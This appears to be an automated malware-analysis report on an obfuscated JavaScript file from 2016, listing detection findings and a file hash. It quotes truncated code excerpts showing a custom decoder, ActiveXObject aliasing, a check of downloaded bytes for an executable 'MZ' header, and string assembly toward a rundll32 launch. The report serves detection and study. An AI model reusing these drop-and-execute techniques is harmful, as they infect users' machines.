20161221_96f8fa05079a46ebe7864a60a47796a8.js
Obfuscated ActiveX payload execution
Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias
SHA-2569f38bf72da77cfcb3236544be4a8b752ee0491ec91273ef93bc7edffb0f3149e
Evidence
2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikfeasibleFROG2XCOP = 0;
9 var SupchikfeasibleRazlomSS, SupchikfeasibleFROG2ddDccC2, SupchikfeasibleFROG2c3, SupchikfeasibleFROG2c4;
10
11 var SupchikfeasibleFROG2out = "";
12
13 var SupchikfeasibleFROG2Supchikfeasibleka= this.replace(/FROSTICK/gi, SupchikfeasibleFROG2out);
14 var SupchikfeasibleFROG2len = SupchikfeasibleFROG2sud …
18:4… var Supchikfeasiblekoch = SupchikfeasibleFROG2Supchikfeasibleka.charCodeAt(SupchikfeasibleFROG2XCOP++) &(0x132- 0x33);
19 SupchikfeasibleRazlomSS = levitron[Supchikfeasiblekoch];
20 } while (SupchikfeasibleFROG2XCOP < Supchikfea …
27:41… +1== 0)
28 break;
29 SupchikfeasibleFROG2out += String['fromCharCode']((SupchikfeasibleRazlomSS << 2) | ((SupchikfeasibleFROG2ddDccC2 & 0x30) >> 4)); do {
30 SupchikfeasibleFROG2c3 = Supchikf …
185:19… leFROG2d2=SupchikfeasibleFROG2DoUtra.pop();
186SupchikfeasibleFROG2fabled="Valar2Morgulis";
187 var SupchikfeasibleFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikfeasibleFROG2d2.split("45");SupchikfeasibleFROG2Native.SupchikfeasibleFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikfeasibleFROG2$type(a)===b} …
257:77… alabaev);
258 if(SupchikfeasibleTalabaevLaa < 29989)return false;
259 if (SupchikfeasibleTalabaev[0]!= 77 || SupchikfeasibleTalabaev[1]!= 90)return false;
260 SupchikfeasibleFROG2CHICKA = SupchikfeasibleFROG2CHICKA + SupchikfeasibleFROG2SIDRENKOV;
261 REBEKK2(SupchikfeasibleFROG2CHICKA, SupchikfeasibleTalabaev );
262
263 var SupchikfeasibleFROG2ddsSSddSd = ",happy";
264SupchikfeasibleFROG2ddsSSddSd = (SupchikfeasibleFROG2StrokaParam2,"undl") + (SupchikfeasibleFROG2StrokaParam2,"l32 ") + Supch …